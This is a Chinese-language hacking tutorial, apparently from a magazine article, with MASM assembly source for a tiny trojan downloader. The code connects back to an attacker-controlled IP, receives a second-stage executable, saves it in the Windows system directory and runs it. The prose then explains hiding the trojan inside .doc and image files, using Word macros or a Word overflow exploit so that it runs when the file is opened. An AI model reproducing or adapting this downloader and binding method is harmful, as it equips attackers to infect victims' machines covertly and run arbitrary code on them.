;已初始化的数据
.data
szFileName db 'dg.Exe',0
dirfmt db '%s\%s', 0
mainport db '80', 0
szOK db 'ok!', 0
.code
start:
;初始化winsock
invoke WSAStartup, 101h, addr wsainfo
cmp eax, 0
;PrintError
jnz endl
;创建套接字
invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
cmp eax, INVALID_SOCKET
;PrintError
jz endl ;出错就结束
mov mainsock, eax
mov mainsin.sin_family, AF_INET
;反连端口,80、110、25均可以
mov eax, 80
push eax
call htons
mov mainsin.sin_port, ax
;mov eax, dwRever_Ip ;攻击端IP,可根据需要自己改写,也可通过其它方式传递
mov eax, 100007fh; 这里使用127.0.0.1
mov mainsin.sin_addr, eax
;反连攻击端
invoke connect, mainsock, addr mainsin, sizeof mainsin
;PrintError
cmp eax, SOCKET_ERROR
jz endloop
;下面接收“大马”
;先接收攻击端发送的“大马”文件大小
invoke RtlZeroMemory, addr recvbuff2, sizeof recvbuff2
invoke recv, mainsock, addr recvbuff2, sizeof recvbuff2, 0
cmp eax, SOCKET_ERROR
jz endloop
cmp eax, 0
jz endloop
;返回确认信息
invoke send, mainsock, addr szOK, sizeof szOK, 0
接收文件,并放在系统目录下
upload:
;获取系统目录
invoke GetSystemDirectory, addr sysdir, sizeof sysdir
;构造路径sprintf(location, "%s\%s", sysdir, szFileName)
invoke wsprintf, addr location, addr dirfmt, addr sysdir, addr szFileName
;创建文件
invoke CreateFile, addr location, GENERIC_WRITE, FILE_SHARE_READ or\
FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
;文件句柄
mov uplfile, eax
;已接收字节数
mov bytesdone, 0
;循环接收
uploadloop:
invoke RtlZeroMemory, addr recvbuff, sizeof recvbuff
invoke recv, mainsock, addr recvbuff, sizeof recvbuff, 0
cmp eax, SOCKET_ERROR
jz upldone
cmp eax, 0
jz upldone
mov edx, eax
add bytesdone, eax
;向文件中写内容
invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULL
invoke send, mainsock, addr szOK, sizeof szOK, 0
mov edx, recvbuff2
cmp bytesdone, edx
jnae uploadloop
upldone:
invoke CloseHandle, uplfile
;“大马”命令行参数可根据需要指定
invoke ShellExecute, NULL, NULL, addr location, NULL, NULL, SW_SHOWNORMAL
endloop:
invoke closesocket, mainsock
endl:
end start
按照前面的方法编译、生成可执行程序down_exec.exe,这就是简单的汇编木马。大家可以看到,down_exec.Exe体积仅2.5k。攻击端的实现很简单,就是监听80(110、25等具有隐蔽性的端口都可以)端口,等待汇编木马执行后连接过来,然后传送并执行“大马”。具体代码参见光盘中的Server.cpp,此处不再赘述。至于“大马”,这里我用了一个个简单的dg.exe,作用是在D盘根目录下生成1.txt,里面有一串字符便于检验。
下面我们进行测试:先生成攻击端Server.Exe、dg.Exe放在tools目录中,将tools目录、Server.Exe和汇编木马down_exec.Exe一同放到“演示工具目录中”, 双击Server.Exe和down_exec.Exe,大家可以检查D盘下是否生成了1.txt,同时看看系统的System32目录下是否有一个dg.Exe。
木马文件绑定
技术最后,我们来讨论一下木马文件的绑定。我们的汇编木马不仅可以绑定在.Doc、.pdf等文件中起到保护作用,还可以绑定在.png、.jpg、.wmf等图片文件中制作成网页木马。文件绑定是比较容易实现的,但是要在母体文件打开时自动生成并执行木马文件却有很多限制,相信做过这方面工作的朋友都有所体会。
绑定文件的方法视文件母体的不同而不同,这里以在.Doc文件中绑定.Exe文件为例。向.Doc文件中绑定.Exe文件后,
要在打开该.Doc文件的时候自动生成并执行该.Exe文件方法大致有两个:
1、 利用Word提供的宏机制
举个例子:要将1.Exe绑定到2.Doc中,通过命令“copy /b 2.Doc+1.Exe new2.Doc”命令即可实现。要从new2.Doc中提取出1.Exe,则必须用Word宏机制提供的VBA编程来实现。这种实现方式容易受到Word宏机制安全设置的限制,详细介绍大家可以参考我在06年第2期写的《Word 溢出
漏洞的分析和利用》。
2、利用Word溢出
漏洞。
这种方式虽然实现复杂,但效果却好于前一种。利用Word的溢出
漏洞,我就可以构造的特定Doc文件,当窃密者打开该文件时由于Word发生缓冲区溢出而执行任意代码。具体思路如下:
我们的特定.Doc文件为abc.Doc,物理上由3部分构成。 开头部分是溢出Doc模板,它可导致Word发生溢出。溢出之后执行其中的ShellCode,判断是否为合法用户(通过硬件信息判断),如果是则提取并生成真正涉密的Doc,再调用Winword.Exe打开该文件;如果不是合法用户,则不生成真正涉密的Doc,而直接生成并执行第3部分→Exe文件。对于本文而言,这里的Exe文件就是我们的汇编木马。